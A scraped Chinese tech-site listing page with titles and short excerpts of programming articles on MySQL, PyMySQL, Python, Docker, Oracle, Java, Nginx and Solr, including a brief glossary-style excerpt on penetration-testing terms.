href="/search/mysql/1.htm">mysql</a> <div>navicat优点:使用广泛,老牌软件,功能强大缺点:收费HeidiSQL免费,有免安装版本DownloadHeidiSQL//portable:便携式的下载后解压,双击运行左下角新建,然后输入配置,连接就可以使用了</div> </li> <li><a href="/article/1881145986382884864.htm" title="Python path模块" target="_blank">Python path模块</a> <span class="text-muted">倾听冷暖</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E7%AD%96%E7%95%A5%E6%A8%A1%E5%BC%8F/1.htm">策略模式</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>在Python中,你可能说的是os.path模块(它属于os模块下专门处理路径相关操作的部分)或者是pathlib模块(Python标准库中用于面向对象风格的路径操作模块),以下分别为你详细介绍这两种与路径相关的内容:os.path模块os.path模块提供了一系列用于处理文件路径的实用函数,能帮助开发者方便地操作路径、获取路径相关信息等,且可以适配不同的操作系统(Windows、Linux、ma</div> </li> <li><a href="/article/1881141697656713216.htm" title="python与mysql的交互(一)" target="_blank">python与mysql的交互(一)</a> <span class="text-muted">xiaoking32</span> <a class="tag" taget="_blank" href="/search/Python/1.htm">Python</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a> <div>python与mysql的交互(一)在mac上装mysqlpython操作mysql的步骤解析sql注入什么是sql注入?怎么防止?在mac上装mysql下载mysqlformac:https://dev.mysql.com/downloads/mysql/解压dmg文件,点击pkg文件进行安装Continue->Continue,Agree->Install->输入管理员密码->设置root用户</div> </li> <li><a href="/article/1881136019852554240.htm" title="PyMySQL 详解" target="_blank">PyMySQL 详解</a> <span class="text-muted">一只猪皮怪5</span> <a class="tag" taget="_blank" href="/search/SQL/1.htm">SQL</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a> <div>PyMySQL是一个纯Python实现的MySQL客户端操作库,支持事务、存储过程、批量执行等。PyMySQL遵循Python数据库APIv2.0规范,并包含了pure-PythonMySQL客户端库。安装pipinstallPyMySQL创建数据库连接importpymysqlconnection=pymysql.connect(host='localhost',port=3306,user='</div> </li> <li><a href="/article/1881135010799480832.htm" title="python怎么安装pymysql_Python中操作mysql的pymysql模块详解" target="_blank">python怎么安装pymysql_Python中操作mysql的pymysql模块详解</a> <span class="text-muted">weixin_39634876</span> <div>前言pymsql是Python中操作MySQL的模块,其使用方法和MySQLdb几乎相同。但目前pymysql支持python3.x而后者不支持3.x版本。本文测试python版本:2.7.11。mysql版本:5.6.24一、安装pip3installpymysql二、使用操作1、执行SQL#!/usr/bin/envpytho#-*-coding:utf-8-*-importpymysql#创</div> </li> <li><a href="/article/1881135011705450496.htm" title="python与mysql交互_Python和Mysql交互" target="_blank">python与mysql交互_Python和Mysql交互</a> <span class="text-muted">weixin_39703561</span> <a class="tag" taget="_blank" href="/search/python%E4%B8%8Emysql%E4%BA%A4%E4%BA%92/1.htm">python与mysql交互</a> <div>安装引入模块~安装mysql模块sudoapt-getinstallpython-mysqldb~在文件中引入模块importMySQLdbConnection对象用于建立与数据库的连接,创建对象:调用connect()方法conn=MySQLdb.connect(参数列表)其中参数列表有:host:连接的mysql主机,如果本机是'localhost';port:连接的mysql主机的端口,默认</div> </li> <li><a href="/article/1881134632112549888.htm" title="方舟生存进化mysql_基于MySQL 的 SQL 优化总结_卡盟,辅助" target="_blank">方舟生存进化mysql_基于MySQL 的 SQL 优化总结_卡盟,辅助</a> <span class="text-muted">weixin_36307344</span> <a class="tag" taget="_blank" href="/search/%E6%96%B9%E8%88%9F%E7%94%9F%E5%AD%98%E8%BF%9B%E5%8C%96mysql/1.htm">方舟生存进化mysql</a> <div>SonarQube搭建手记dnf辅助基于MySQL的SQL优化总结在数据库运维过程中,优化SQL是DBA团队的一样平常义务。例行SQL优化,不仅可以提高程序性能,还能减低线上故障的概率。现在常用的SQL优化方式包罗但不限于:营业层优化、SQL逻辑优化、索引优化等。其中索引优化通常通过调整索引或新增索引从而到达SQL优化的目的。索引优化往往可以在短时间内发生异常伟大的效果。---来自美团手艺团队SQ</div> </li> <li><a href="/article/1881134379481231360.htm" title="方舟生存进化mysql_一分钟明了MySQL聚簇索引和非聚簇索引_rust辅助,方舟生存进化辅助..." target="_blank">方舟生存进化mysql_一分钟明了MySQL聚簇索引和非聚簇索引_rust辅助,方舟生存进化辅助...</a> <span class="text-muted">突发奇想的饭粒</span> <a class="tag" taget="_blank" href="/search/%E6%96%B9%E8%88%9F%E7%94%9F%E5%AD%98%E8%BF%9B%E5%8C%96mysql/1.htm">方舟生存进化mysql</a> <div>SpringBoot整合rabbitmq辅助MySQL的InnoDB索引数据结构是B树,主键索引叶子节点的值存储的就是MySQL的数据行,通俗索引的叶子节点的值存储的是主键值,这是了解聚簇索引和非聚簇索引的条件什么是聚簇索引?很简单记着一句话:找到了索引就找到了需要的数据,那么这个索引就是聚簇索引,以是主键就是聚簇索引,修改聚簇索引实在就是修改主键。什么是非聚簇索引?索引的存储和数据的存储是星散的</div> </li> <li><a href="/article/1881118346804523008.htm" title="在CentOs上安装Docker,Docker中配置MYSQL,安装java" target="_blank">在CentOs上安装Docker,Docker中配置MYSQL,安装java</a> <span class="text-muted">Light__Chaser</span> <a class="tag" taget="_blank" href="/search/%E5%BE%AE%E6%9C%8D%E5%8A%A1/1.htm">微服务</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a> <div>在CentOs上安装Docker1.更新系统在安装Docker之前,建议先更新系统以确保所有软件包都是最新的。sudoyumupdate-y2.安装依赖包在CentOS上安装Docker需要一些额外的依赖工具。sudoyuminstall-yyum-utilsdevice-mapper-persistent-datalvm23.添加Docker仓库sudoyum-config-manager--a</div> </li> <li><a href="/article/1881108895607353344.htm" title="【数据库】PyMySQL详解:轻松实现Python与MySQL的高效交互" target="_blank">【数据库】PyMySQL详解:轻松实现Python与MySQL的高效交互</a> <span class="text-muted">易辰君</span> <a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a> <div>目录前言一、PyMySQL的特点二、安装三、基本用法(一)连接MySQL数据库(二)数据查询(三)插入数据(四)更新和删除数据(五)事务管理四、游标类型五、安全性六、常见错误处理七、性能优化八、总结前言PyMySQL是一个纯Python的库,用于连接MySQL数据库,并执行SQL语句。它是MySQLdb的替代品,但不同于后者,PyMySQL不需要C语言的依赖,因此更加轻量且易于安装和使用。该库的主</div> </li> <li><a href="/article/1881107006840958976.htm" title="近千万的数据怎么删除" target="_blank">近千万的数据怎么删除</a> <span class="text-muted">lozhyf</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>记录下MySQL表,每天大概新增3000万条记录,存储周期为1天,超过1天的数据需要在新增记录前老化。连续运行9天以后,删除一天的数据大概需要3个半小时最初的方案(因为未预料到删除会如此慢),代码如下(最简单和朴素的方法):deletefromtable_namewherecnt_date<=target_date最终实现了飞一般的速度删除3000多万条数据,单张表总数据量在4600万上下,优化过</div> </li> <li><a href="/article/1881091492735414272.htm" title="《数据关联的艺术:揭开MySQL与图数据库结合的高级可视化探索》" target="_blank">《数据关联的艺术:揭开MySQL与图数据库结合的高级可视化探索》</a> <span class="text-muted">墨夶</span> <a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%96%992/1.htm">数据库学习资料2</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>在这个信息爆炸的时代,企业和研究者们面临着从海量数据中挖掘有价值信息的巨大挑战。传统的关系型数据库如MySQL虽然擅长处理结构化数据,但在面对复杂的关系网络时显得力不从心。而图数据库以其独特的架构优势,能够高效地表示和查询实体之间的多层关系。当我们将这两种技术结合起来,并辅以强大的可视化工具时,便开启了一扇通往更深层次数据分析的大门。本文将深入探讨如何通过MySQL与图数据库的结合来实现高级可视化</div> </li> <li><a href="/article/1881082663217983488.htm" title="运行.py文件" target="_blank">运行.py文件</a> <span class="text-muted">战斗的大熊</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a> <div>运行.py文件一、使用命令行‌打开命令行终端‌在Windows上,你可以按下Win+R键,然后输入cmd并回车,或者通过开始菜单搜索“命令提示符”并打开。在Mac或Linux上,你可以在应用程序或搜索中找到并打开Terminal。‌导航到.py文件所在的目录‌使用cd命令来切换目录。(注意cd命令跳转目录,如果是和当前不同的磁盘,需要增加/d命令,例如cd/dD:\目标目录)例如,如果你的.py文</div> </li> <li><a href="/article/1881082283344064512.htm" title="Zoom视频会议软件详细使用教程" target="_blank">Zoom视频会议软件详细使用教程</a> <span class="text-muted">范范0825</span> <a class="tag" taget="_blank" href="/search/zoom/1.htm">zoom</a> <div>Zoom是一款功能强大的视频会议软件,广泛用于远程工作、在线教育、虚拟会议等场景。本教程将详细介绍如何使用Zoom进行会议的创建、加入、管理以及各种高级功能的设置和应用。第一部分:准备工作和基本概述1.1下载和安装Zoom首先,你需要下载并安装Zoom客户端或移动应用程序。Zoom支持多种操作系统,包括Windows、MacOS、iOS和Android。访问Zoom官网(zoom.us)或者你的应</div> </li> <li><a href="/article/1881077358744629248.htm" title="windows下python运行的方法" target="_blank">windows下python运行的方法</a> <span class="text-muted">好烦好烦方法</span> <div>python有2中运行模式,一种是交互运行模式,一种是脚本运行模式。(假设用户已经安装好,网上很多例子) 交互运行方和matlab命令窗口有点类似,有2中方法,一种是用它自带的开发环境IDLE,一种是在命令窗口下运行,建议2种方法都掌握,因为我们要在命令窗口模式下运行脚本文件。 用开始菜单键win+r直接打开命令窗口,输入python字符回车,应该会出现如下提示: ![打开](https://im</div> </li> <li><a href="/article/1881070040774668288.htm" title="Java全栈项目 - 校园跑腿服务系统" target="_blank">Java全栈项目 - 校园跑腿服务系统</a> <span class="text-muted">天天进步2015</span> <a class="tag" taget="_blank" href="/search/Java%E9%A1%B9%E7%9B%AE%E5%AE%9E%E6%88%98/1.htm">Java项目实战</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>项目介绍校园跑腿服务系统是一个面向高校师生的互助平台,旨在解决校园内取快递、买饭、打印等日常跑腿需求。系统采用前后端分离架构,基于SpringBoot+Vue实现。技术栈后端SpringBoot2.xSpringSecurityMyBatisPlusMySQL8.0RedisRabbitMQJWT前端Vue2.xElementUIAxiosVuexVueRouter核心功能1.用户模块注册/登录实</div> </li> <li><a href="/article/1881060314871558144.htm" title="渗透测试术语--必要基础" target="_blank">渗透测试术语--必要基础</a> <span class="text-muted">大象只为你</span> <a class="tag" taget="_blank" href="/search/%E8%B7%9F%E6%88%91%E5%AD%A6%E7%BD%91%E5%AE%89%E7%9F%A5%E8%AF%86/1.htm">跟我学网安知识</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a> <div>一、前言了解和记住渗透测试术语是网络安全技术人员必要的基础,能帮助我们有效沟通和合作、全面理解渗透测试流程、设计和规划渗透测试活动、安全漏洞识别和利用和规避法律和道德风险。我整理一部分术语,自己归为8个分类方便记忆。共整理了56个术语,每个术语都有简要的含义解释。二、渗透测试术语1、攻击介质1.1、漏洞硬件、软件、协议的缺陷,可以通过未授权的方式访问、破坏系统。1.2、木马获取用户权限的程序或者代</div> </li> <li><a href="/article/1881057661491933184.htm" title="【MySQL】Mysql数据库导入导出sql文件、备份数据库、迁移数据库" target="_blank">【MySQL】Mysql数据库导入导出sql文件、备份数据库、迁移数据库</a> <span class="text-muted">程序员洲洲</span> <a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E5%AF%BC%E5%85%A5%E5%AF%BC%E5%87%BAsql/1.htm">导入导出sql</a><a class="tag" taget="_blank" href="/search/sql%E6%96%87%E4%BB%B6/1.htm">sql文件</a><a class="tag" taget="_blank" href="/search/%E5%A4%87%E4%BB%BD%E8%BF%81%E7%A7%BB/1.htm">备份迁移</a> <div>本文摘要:本文提出了xxx的实用开发小技巧。作者介绍:我是程序员洲洲,一个热爱写作的非著名程序员。CSDN全栈优质领域创作者、华为云博客社区云享专家、阿里云博客社区专家博主。同时欢迎大家关注其他专栏,我将分享Web前后端开发、人工智能、机器学习、深度学习从0到1系列文章。同时洲洲已经建立了程序员技术交流群,如果您感兴趣,可以私信我加入我的社群,也可以直接vx联系(文末有名片)v:bdizztt随时</div> </li> <li><a href="/article/1881055257350434816.htm" title="Oracle系列---【Smallfile模式的表空间如何确定单个数据文件的最大大小?】" target="_blank">Oracle系列---【Smallfile模式的表空间如何确定单个数据文件的最大大小?】</a> <span class="text-muted">少年攻城狮</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a> <div>如果你的数据版本是oracle12c以上的版本,直接跳到最下面执行5.1和5.4即可。在Oracle数据库中,MAXSIZE参数用于限制数据文件的最大大小,确保表空间不会无限制增长。MAXSIZE的最大值主要受到以下因素的影响:1.操作系统的文件系统限制不同的操作系统和文件系统有不同的单个文件大小限制。例如:ext4文件系统(Linux):单个文件最大支持16TB。NTFS文件系统(Windows</div> </li> <li><a href="/article/1881053996198719488.htm" title="SQL 查询表中某个字段数据的最大长度" target="_blank">SQL 查询表中某个字段数据的最大长度</a> <span class="text-muted">凌龍墨</span> <a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/sqlserver/1.htm">sqlserver</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>mysqlselect字段名,length(字段名)from表名wherelength(字段名)=(selectmax(length(字段名))from表名)#示例:获取user表中的最大长度的name值selectname,length(name)fromuserwherelength(name)=(selectmax(length(name)fromuser))SqlServerselect字</div> </li> <li><a href="/article/81.htm" title="java短路运算符和逻辑运算符的区别" target="_blank">java短路运算符和逻辑运算符的区别</a> <span class="text-muted">3213213333332132</span> <a class="tag" taget="_blank" href="/search/java%E5%9F%BA%E7%A1%80/1.htm">java基础</a> <div> /* * 逻辑运算符——不论是什么条件都要执行左右两边代码 * 短路运算符——我认为在底层就是利用物理电路的“并联”和“串联”实现的 * 原理很简单,并联电路代表短路或(||),串联电路代表短路与(&amp;&amp;)。 * * 并联电路两个开关只要有一个开关闭合,电路就会通。 * 类似于短路或(||),只要有其中一个为true(开关闭合)是</div> </li> <li><a href="/article/208.htm" title="Java异常那些不得不说的事" target="_blank">Java异常那些不得不说的事</a> <span class="text-muted">白糖_</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/exception/1.htm">exception</a> <div>一、在finally块中做数据回收操作 比如数据库连接都是很宝贵的,所以最好在finally中关闭连接。 JDBCAgent jdbc = new JDBCAgent(); try{ jdbc.excute(&quot;select * from ctp_log&quot;); }catch(SQLException e){ ... }finally{ jdbc.close(); </div> </li> <li><a href="/article/335.htm" title="utf-8与utf-8(无BOM)的区别" target="_blank">utf-8与utf-8(无BOM)的区别</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a> <div>BOM——Byte Order Mark,就是字节序标记 &nbsp; 在UCS 编码中有一个叫做&quot;ZERO WIDTH NO-BREAK SPACE&quot;的字符,它的编码是FEFF。而FFFE在UCS中是不存在的字符,所以不应该出现在实际传输中。UCS规范建议我们在传输字节流前,先传输 字符&quot;ZERO WIDTH NO-BREAK SPACE&quot;。这样如</div> </li> <li><a href="/article/462.htm" title="JAVA Annotation之定义篇" target="_blank">JAVA Annotation之定义篇</a> <span class="text-muted">周凡杨</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E6%B3%A8%E8%A7%A3/1.htm">注解</a><a class="tag" taget="_blank" href="/search/annotation/1.htm">annotation</a><a class="tag" taget="_blank" href="/search/%E5%85%A5%E9%97%A8/1.htm">入门</a><a class="tag" taget="_blank" href="/search/%E6%B3%A8%E9%87%8A/1.htm">注释</a> <div>&nbsp; &nbsp; Annotation:&nbsp;译为注释或注解 An annotation, in the Java computer programming language, is a form of syntactic metadata that can be added to Java source code. Classes, methods, variables, pa</div> </li> <li><a href="/article/589.htm" title="tomcat的多域名、虚拟主机配置" target="_blank">tomcat的多域名、虚拟主机配置</a> <span class="text-muted">g21121</span> <a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a> <div>众所周知apache可以配置多域名和虚拟主机,而且配置起来比较简单,但是项目用到的是tomcat,配来配去总是不成功。查了些资料才总算可以,下面就跟大家分享下经验。 很多朋友搜索的内容基本是告诉我们这么配置: 在Engine标签下增面积Host标签,如下: &lt;Host name=&quot;www.site1.com&quot; appBase=&quot;webapps&quot;</div> </li> <li><a href="/article/716.htm" title="Linux SSH 错误解析(Capistrano 的cap 访问错误 Permission )" target="_blank">Linux SSH 错误解析(Capistrano 的cap 访问错误 Permission )</a> <span class="text-muted">510888780</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/capistrano/1.htm">capistrano</a> <div> 1.ssh -v hdfs@192.168.18.133 出现 Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password). 错误 运行状况如下: OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013 debug1: Reading configuratio</div> </li> <li><a href="/article/843.htm" title="log4j的用法" target="_blank">log4j的用法</a> <span class="text-muted">Harry642</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/log4j/1.htm">log4j</a> <div>一、前言:&nbsp;&nbsp;&nbsp;&nbsp; log4j 是一个开放源码项目,是广泛使用的以Java编写的日志记录包。由于log4j出色的表现,&nbsp;&nbsp;&nbsp;&nbsp; 当时在log4j完成时,log4j开发组织曾建议sun在jdk1.4中用log4j取代jdk1.4 的日志工具类,但当时jdk1.4已接近完成,所以sun拒绝使用log4j,当在java开发中</div> </li> <li><a href="/article/970.htm" title="mysql、sqlserver、oracle分页,java分页统一接口实现" target="_blank">mysql、sqlserver、oracle分页,java分页统一接口实现</a> <span class="text-muted">aijuans</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/jave/1.htm">jave</a> <div> 定义:pageStart 起始页,pageEnd 终止页,pageSize页面容量 oracle分页:     select * from ( select mytable.*,rownum&nbsp;num from (实际传的SQL) where&nbsp;rownum&lt;=pageEnd) where num&gt;=pageStart sqlServer分页: &nbsp</div> </li> <li><a href="/article/1097.htm" title="Hessian 简单例子" target="_blank">Hessian 简单例子</a> <span class="text-muted">antlove</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/service/1.htm">service</a><a class="tag" taget="_blank" href="/search/hessian/1.htm">hessian</a> <div>hello.hessian.MyCar.java package hessian.pojo; import java.io.Serializable; public class MyCar implements Serializable { private static final long serialVersionUID = 473690540190845543</div> </li> <li><a href="/article/1224.htm" title="数据库对象的同义词和序列" target="_blank">数据库对象的同义词和序列</a> <span class="text-muted">百合不是茶</span> <a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E5%BA%8F%E5%88%97/1.htm">序列</a><a class="tag" taget="_blank" href="/search/%E5%90%8C%E4%B9%89%E8%AF%8D/1.htm">同义词</a><a class="tag" taget="_blank" href="/search/ORACLE%E6%9D%83%E9%99%90/1.htm">ORACLE权限</a> <div>回顾简单的数据库权限等命令; 解锁用户和锁定用户 alter user scott account lock/unlock; //system下查看系统中的用户 select * dba_users; //创建用户名和密码 create user wj identified by wj; identified by //授予连接权和建表权 grant connect to </div> </li> <li><a href="/article/1351.htm" title="使用Powermock和mockito测试静态方法" target="_blank">使用Powermock和mockito测试静态方法</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/%E6%8C%81%E7%BB%AD%E9%9B%86%E6%88%90/1.htm">持续集成</a><a class="tag" taget="_blank" href="/search/%E5%8D%95%E5%85%83%E6%B5%8B%E8%AF%95/1.htm">单元测试</a><a class="tag" taget="_blank" href="/search/mockito/1.htm">mockito</a><a class="tag" taget="_blank" href="/search/Powermock/1.htm">Powermock</a> <div>&nbsp; &nbsp; &nbsp; &nbsp; 实例: package com.bijian.study; import static org.junit.Assert.assertEquals; import java.io.IOException; import org.junit.Before; import org.junit.Test; import or</div> </li> <li><a href="/article/1478.htm" title="精通Oracle10编程SQL(6)访问ORACLE" target="_blank">精通Oracle10编程SQL(6)访问ORACLE</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/plsql/1.htm">plsql</a> <div>/* *访问ORACLE */ --检索单行数据 --使用标量变量接收数据 DECLARE v_ename emp.ename%TYPE; v_sal emp.sal%TYPE; BEGIN select ename,sal into v_ename,v_sal from emp where empno=&amp;no; dbms_output.pu</div> </li> <li><a href="/article/1605.htm" title="【Nginx四】Nginx作为HTTP负载均衡服务器" target="_blank">【Nginx四】Nginx作为HTTP负载均衡服务器</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a> <div>&nbsp;Nginx的另一个常用的功能是作为负载均衡服务器。一个典型的web应用系统,通过负载均衡服务器,可以使得应用有多台后端服务器来响应客户端的请求。一个应用配置多台后端服务器,可以带来很多好处: &nbsp; 负载均衡的好处 增加可用资源 增加吞吐量 加快响应速度,降低延时 出错的重试验机制 Nginx主要支持三种均衡算法: round-robin l</div> </li> <li><a href="/article/1732.htm" title="jquery-validation备忘" target="_blank">jquery-validation备忘</a> <span class="text-muted">白糖_</span> <a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/F%23/1.htm">F#</a><a class="tag" taget="_blank" href="/search/Firebug/1.htm">Firebug</a> <div>留点学习jquery validation总结的代码: &nbsp; function checkForm(){ validator = $(&quot;#commentForm&quot;).validate({// #formId为需要进行验证的表单ID errorElement :&quot;span&quot;,// 使用&quot;div&quot;标签标记错误, 默认:&</div> </li> <li><a href="/article/1859.htm" title="solr限制admin界面访问(端口限制和http授权限制)" target="_blank">solr限制admin界面访问(端口限制和http授权限制)</a> <span class="text-muted">ronin47</span> <a class="tag" taget="_blank" href="/search/%E9%99%90%E5%AE%9AIp%E8%AE%BF%E9%97%AE/1.htm">限定Ip访问</a> <div>solr的管理界面可以帮助我们做很多事情,但是把solr程序放到公网之后就要限制对admin的访问了。 可以通过tomcat的http基本授权来做限制,也可以通过iptables防火墙来限制。 我们先看如何通过tomcat配置http授权限制。 第一步: 在tomcat的conf/tomcat-users.xml文件中添加管理用户,比如: &lt;userusername=&quot;ad</div> </li> <li><a href="/article/1986.htm" title="多线程-用JAVA写一个多线程程序,写四个线程,其中二个对一个变量加1,另外二个对一个变量减1" target="_blank">多线程-用JAVA写一个多线程程序,写四个线程,其中二个对一个变量加1,另外二个对一个变量减1</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">多线程</a> <div> public class IncDecThread { private int j=10; /* * 题目:用JAVA写一个多线程程序,写四个线程,其中二个对一个变量加1,另外二个对一个变量减1 * 两个问题: * 1、线程同步--synchronized * 2、线程之间如何共享同一个j变量--内部类 */ public static </div> </li> <li><a href="/article/2113.htm" title="买房历程" target="_blank">买房历程</a> <span class="text-muted">cfyme</span> <div>&nbsp; &nbsp; 2015-06-21: 万科未来城,看房子 &nbsp; 2015-06-26: 办理贷款手续,贷款73万,贷款利率5.65=5.3675 &nbsp; 2015-06-27: 房子首付,签完合同 &nbsp; 2015-06-28,央行宣布降息 0.25,就2天的时间差啊,没赶上。 &nbsp; 首付,老婆找他的小姐妹接了5万,另外几个朋友借了1-</div> </li> <li><a href="/article/2240.htm" title="[军事与科技]制造大型太空战舰的前奏" target="_blank">[军事与科技]制造大型太空战舰的前奏</a> <span class="text-muted">comsci</span> <a class="tag" taget="_blank" href="/search/%E5%88%B6%E9%80%A0/1.htm">制造</a> <div> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 天气热了........空调和电扇要准备好.......... &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 最近,世界形势日趋复杂化,战争的阴影开始覆盖全世界.......... &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 所以,我们不得不关</div> </li> <li><a href="/article/2367.htm" title="dateformat" target="_blank">dateformat</a> <span class="text-muted">dai_lm</span> <a class="tag" taget="_blank" href="/search/DateFormat/1.htm">DateFormat</a> <div> &quot;Symbol Meaning Presentation Ex.&quot; &quot;------ ------- ------------ ----&quot; &quot;G era designator (Text) AD&quot; &quot;y year</div> </li> <li><a href="/article/2494.htm" title="Hadoop如何实现关联计算" target="_blank">Hadoop如何实现关联计算</a> <span class="text-muted">datamachine</span> <a class="tag" taget="_blank" href="/search/mapreduce/1.htm">mapreduce</a><a class="tag" taget="_blank" href="/search/hadoop/1.htm">hadoop</a><a class="tag" taget="_blank" href="/search/%E5%85%B3%E8%81%94%E8%AE%A1%E7%AE%97/1.htm">关联计算</a> <div>&nbsp;&nbsp;&nbsp; 选择Hadoop,低成本和高扩展性是主要原因,但但它的开发效率实在无法让人满意。 &nbsp;&nbsp;&nbsp; 以关联计算为例。 &nbsp;&nbsp;&nbsp; 假设:HDFS上有2个文件,分别是客户信息和订单信息,customerID是它们之间的关联字段。如何进行关联计算,以便将客户名称添加到订单列表中? &nbsp;&nbsp;&nbs</div> </li> <li><a href="/article/2621.htm" title="用户模型中修改用户信息时,密码是如何处理的" target="_blank">用户模型中修改用户信息时,密码是如何处理的</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/yii/1.htm">yii</a> <div>当我添加或修改用户记录的时候对于处理确认密码我遇到了一些麻烦,所有我想分享一下我是怎么处理的。 场景是使用的基本的那些(系统自带),你需要有一个数据表(user)并且表中有一个密码字段(password),它使用 sha1、md5或其他加密方式加密用户密码。 面是它的工作流程: 当创建用户的时候密码需要加密并且保存,但当修改用户记录时如果使用同样的场景我们最终就会把用户加密过的密码再次加密,这</div> </li> <li><a href="/article/2748.htm" title="中文 iOS/Mac 开发博客列表" target="_blank">中文 iOS/Mac 开发博客列表</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/Blog/1.htm">Blog</a> <div>&nbsp; 本博客列表会不断更新维护,如果有推荐的博客,请到此处提交博客信息。 本博客列表涉及的文章内容支持&nbsp;定制化Google搜索,特别感谢&nbsp;JeOam&nbsp;提供并帮助更新。 本博客列表也提供同步更新的OPML文件(下载OPML文件),可供导入到例如feedly等第三方定阅工具中,特别感谢&nbsp;lcepy&nbsp;提供自动转换脚本。这里有导入教程。 </div> </li> <li><a href="/article/2875.htm" title="js去除空格,去除左右两端的空格" target="_blank">js去除空格,去除左右两端的空格</a> <span class="text-muted">蕃薯耀</span> <a class="tag" taget="_blank" href="/search/%E5%8E%BB%E9%99%A4%E5%B7%A6%E5%8F%B3%E4%B8%A4%E7%AB%AF%E7%9A%84%E7%A9%BA%E6%A0%BC/1.htm">去除左右两端的空格</a><a class="tag" taget="_blank" href="/search/js%E5%8E%BB%E6%8E%89%E6%89%80%E6%9C%89%E7%A9%BA%E6%A0%BC/1.htm">js去掉所有空格</a><a class="tag" taget="_blank" href="/search/js%E5%8E%BB%E9%99%A4%E7%A9%BA%E6%A0%BC/1.htm">js去除空格</a> <div>js去除空格,去除左右两端的空格 &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&g</div> </li> <li><a href="/article/3002.htm" title="SpringMVC4零配置--web.xml" target="_blank">SpringMVC4零配置--web.xml</a> <span class="text-muted">hanqunfeng</span> <a class="tag" taget="_blank" href="/search/springmvc4/1.htm">springmvc4</a> <div>servlet3.0+规范后,允许servlet,filter,listener不必声明在web.xml中,而是以硬编码的方式存在,实现容器的零配置。 ServletContainerInitializer:启动容器时负责加载相关配置 package javax.servlet; import java.util.Set; public interface 